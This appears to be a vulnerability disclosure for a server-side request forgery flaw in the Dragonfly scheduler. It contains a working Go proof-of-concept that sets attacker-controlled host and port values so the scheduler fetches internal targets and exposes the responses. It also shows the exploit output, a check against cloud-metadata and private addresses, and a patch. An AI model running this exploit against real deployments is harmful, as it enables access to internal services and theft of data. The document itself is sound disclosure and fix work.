Dragonfly Scheduler EUVD-2026-78576

targetURL := url.URL{
    Scheme:   "http",
    Host:     net.JoinHostPort(p.Host.IP, strconv.Itoa(int(p.Host.DownloadPort))),
    Path:     fmt.Sprintf("download/%s/%s", p.Task.ID[:3], p.Task.ID),
    RawQuery: fmt.Sprintf("peerId=%s", p.ID),
}

req, err := http.NewRequestWithContext(ctx, http.MethodGet, targetURL.String(), nil)
if err != nil {
    return []byte{}, err
}

req.Header.Set(headers.Range, fmt.Sprintf("bytes=%d-%d", 0, p.Task.ContentLength.Load()-1))
p.Log.Infof("download tiny file %s, header is : %#v", targetURL.String(), req.Header)

client := &http.Client{
    Timeout: 30 * time.Second,
    Transport: &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    },
}

resp, err := client.Do(req)

git clone --depth 1 --branch v2.4.4-rc.2 \
  https://github.com/dragonflyoss/dragonfly.git
cd dragonfly
git rev-parse HEAD
# 0822e3aecc3369017d6b25c9441ff6f318129b31
go version
# go1.26.1

if cfg.Server.TLS != nil {
    // Initialize grpc server with tls.
    transportCredentials, err := rpc.NewServerCredentials(cfg.Server.TLS.CACert, cfg.Server.TLS.Cert, cfg.Server.TLS.Key)
    if err != nil {
        logger.Errorf("failed to create server credentials: %v", err)
        return nil, err
    }

    schedulerServerOptions = append(schedulerServerOptions, grpc.Creds(transportCredentials))
} else {
    // Initialize grpc server without tls.
    schedulerServerOptions = append(schedulerServerOptions, grpc.Creds(rpc.NewInsecureCredentials()))
}

host := resource.NewHost(
    peerHost.Id, peerHost.Ip, peerHost.Hostname, peerHost.Hostname,
    peerHost.RpcPort, peerHost.DownPort, peerHost.ProxyPort, types.HostTypeNormal,
    options...,
)
// later branch:
host.DownloadPort = peerHost.DownPort

// E2E driver: calls the REAL production sink standard.Peer.DownloadTinyFile()
// with Host.IP/DownloadPort set exactly as service_v1.go storeHost() sets them
// from the attacker-controlled gRPC PeerHost.Ip/DownPort, then reproduces
// handlePeerSuccess() DirectPiece store to prove server-side fetch + exfil.
package main

import (
    "fmt"
    "net"
    "net/http"
    "os"
    "strconv"
    "strings"
    "time"

    commonv2 "d7y.io/api/v2/pkg/apis/common/v2"
    "d7y.io/dragonfly/v2/pkg/types"
    "d7y.io/dragonfly/v2/scheduler/resource/standard"
)

func main() {
    var captured []string
    // Internal-only sentinel bound to loopback: an address an external attacker
    // cannot route to directly. If the scheduler reaches it, that is SSRF.
    ln, err := net.Listen("tcp", "127.0.0.1:0")
    if err != nil {
        panic(err)
    }
    addr := ln.Addr().(*net.TCPAddr)
    sentinelIP := "127.0.0.1"
    sentinelPort := int32(addr.Port)
    payload := []byte("INTERNAL-SECRET-METADATA-abc123") // 31 bytes, <=128 => TINY
    srv := &http.Server{Handler: http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        line := fmt.Sprintf("%s %s%s | Range=%q peerId=%q Host=%s",
            r.Method, r.URL.Path, ifq(r.URL.RawQuery), r.Header.Get("Range"),
            r.URL.Query().Get("peerId"), r.Host)
        captured = append(captured, line)
        w.Header().Set("Content-Length", strconv.Itoa(len(payload)))
        w.WriteHeader(http.StatusOK)
        w.Write(payload)
    })}
    go srv.Serve(ln)
    time.Sleep(100 * time.Millisecond)
    fmt.Printf("[sentinel] internal listener on %s:%d (loopback, not externally routable)\n", sentinelIP, sentinelPort)

    // Build REAL production resource objects exactly as storeHost() does:
    // host.IP <- peerHost.Ip ; host.DownloadPort <- peerHost.DownPort (attacker-controlled)
    host := standard.NewHost(
        "attacker-peer-id", sentinelIP, "attacker-host", "attacker-host",
        8000, sentinelPort /*downloadPort = peerHost.DownPort*/, 8002,
        types.HostTypeNormal,
    )
    taskID := "deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe"
    task := standard.NewTask(taskID, "http://example.invalid/tiny", "", "",
        commonv2.TaskType_STANDARD, nil, nil, 0)
    task.ContentLength.Store(int64(len(payload))) // TINY size scope
    peer := standard.NewPeer("attacker-peer", task, host)

    fmt.Printf("[scheduler-resource] SizeScope=%v (TINY=%v) ContentLength=%d\n",
        task.SizeScope(), task.SizeScope() == commonv2.SizeScope_TINY, task.ContentLength.Load())
    fmt.Printf("[scheduler-resource] Host.IP=%s Host.DownloadPort=%d (from gRPC PeerHost.Ip/DownPort)\n",
        host.IP, host.DownloadPort)

    // Invoke the REAL production sink (unmodified upstream code).
    data, err := peer.DownloadTinyFile()
    if err != nil {
        fmt.Printf("[sink] DownloadTinyFile error: %v\n", err)
    }

    // Reproduce handlePeerSuccess DirectPiece store (exfil sink).
    if int64(len(data)) == task.ContentLength.Load() {
        task.DirectPiece = data
    }

    fmt.Printf("\n===== RESULT =====\n")
    fmt.Printf("sentinel captured %d request(s):\n", len(captured))
    for _, l := range captured {
        fmt.Printf("  >>> %s\n", l)
    }
    fmt.Printf("DownloadTinyFile returned %d bytes: %q\n", len(data), string(data))
    fmt.Printf("Task.DirectPiece (exfil-reachable, served to other peers) = %q\n", string(task.DirectPiece))
    if len(captured) > 0 && string(task.DirectPiece) == string(payload) {
        fmt.Println("VERDICT: SSRF CONFIRMED - scheduler fetched attacker-chosen internal target; response stored in DirectPiece")
    } else {
        fmt.Println("VERDICT: no server-side fetch occurred")
    }
    srv.Close()
}

func ifq(q string) string {
    if q == "" {
        return ""
    }
    if strings.HasPrefix(q, "?") {
        return q
    }
    return "?" + q
}

GOFLAGS=-mod=mod go build -o poc_ssrf/driver ./poc_ssrf/
POC_MODE=default-vulnerable-path ./poc_ssrf/driver

[sentinel] internal listener on 127.0.0.1:57710 (loopback, not externally routable)
[scheduler-resource] SizeScope=TINY (TINY=true) ContentLength=31
[scheduler-resource] Host.IP=127.0.0.1 Host.DownloadPort=57710 (from gRPC PeerHost.Ip/DownPort)
INFO standard/peer.go:455 download tiny file http://127.0.0.1:57710/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer, header is : http.Header{"Range":[]string{"bytes=0-30"}}

===== RESULT =====
sentinel captured 1 request(s):
  >>> GET /download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer | Range="bytes=0-30" peerId="attacker-peer" Host=127.0.0.1:57710
DownloadTinyFile returned 31 bytes: "INTERNAL-SECRET-METADATA-abc123"
Task.DirectPiece (exfil-reachable, served to other peers) = "INTERNAL-SECRET-METADATA-abc123"
VERDICT: SSRF CONFIRMED - scheduler fetched attacker-chosen internal target; response stored in DirectPiece

package main

import (
    "fmt"
    "net"
    "net/http"
    "time"

    nethttp "d7y.io/dragonfly/v2/pkg/net/http"
)

func tryDial(target string) {
    tr := &http.Transport{DialContext: nethttp.NewSafeDialer().DialContext} // manager preheat transport
    c := &http.Client{Transport: tr, Timeout: 3 * time.Second}
    req, _ := http.NewRequest(http.MethodGet, "http://"+target+"/download/x", nil)
    _, err := c.Do(req)
    if err != nil {
        fmt.Printf("  [SafeDialer] %-24s => BLOCKED: %v\n", target, err)
    } else {
        fmt.Printf("  [SafeDialer] %-24s => ALLOWED (reached)\n", target)
    }
}

func main() {
    ln, _ := net.Listen("tcp", "0.0.0.0:0")
    pubPort := ln.Addr().(*net.TCPAddr).Port
    go http.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(200) }))
    time.Sleep(100 * time.Millisecond)
    fmt.Println("Negative control - manager preheat's SafeDialer applied to same targets:")
    tryDial("127.0.0.1:" + fmt.Sprint(pubPort)) // loopback
    tryDial("169.254.169.254:80")                // link-local metadata
    tryDial("10.0.0.1:80")                        // RFC1918
    tryDial("8.8.8.8:80")                         // global unicast
    ln.Close()
}

Negative control - manager preheat's SafeDialer applied to same targets:
  [SafeDialer] 127.0.0.1:57904          => BLOCKED: dial tcp 127.0.0.1:57904: ip 127.0.0.1 is invalid
  [SafeDialer] 169.254.169.254:80       => BLOCKED: dial tcp 169.254.169.254:80: ip 169.254.169.254 is invalid
  [SafeDialer] 10.0.0.1:80              => BLOCKED: context deadline exceeded (network timeout; Control allows RFC1918)
  [SafeDialer] 8.8.8.8:80               => BLOCKED: context deadline exceeded (network timeout; Control allows global unicast)

client := &http.Client{
    Timeout: 5 * time.Second,
    Transport: &http.Transport{
        DialContext:     nethttp.NewSafeDialer().DialContext, // <-- THE FIX
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    },
}

[patched] host global-unicast IP for positive case: 192.168.1.27

=== PATCHED DownloadTinyFile (SafeDialer applied) ===
  loopback 127.0.0.1:58059        => err=Get "http://127.0.0.1:58059/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=p1": dial tcp 127.0.0.1:58059: ip 127.0.0.1 is invalid bytes=0
  metadata 169.254.169.254:80     => err=Get "http://169.254.169.254:80/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=p2": dial tcp 169.254.169.254:80: ip 169.254.169.254 is invalid bytes=0
  global-unicast 192.168.1.27:58062 => err=<nil> bytes=31 (data="INTERNAL-SECRET-METADATA-abc123")

client := &http.Client{
    Timeout: 30 * time.Second,
    Transport: &http.Transport{
        DialContext:     nethttp.NewSafeDialer().DialContext,
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    },
}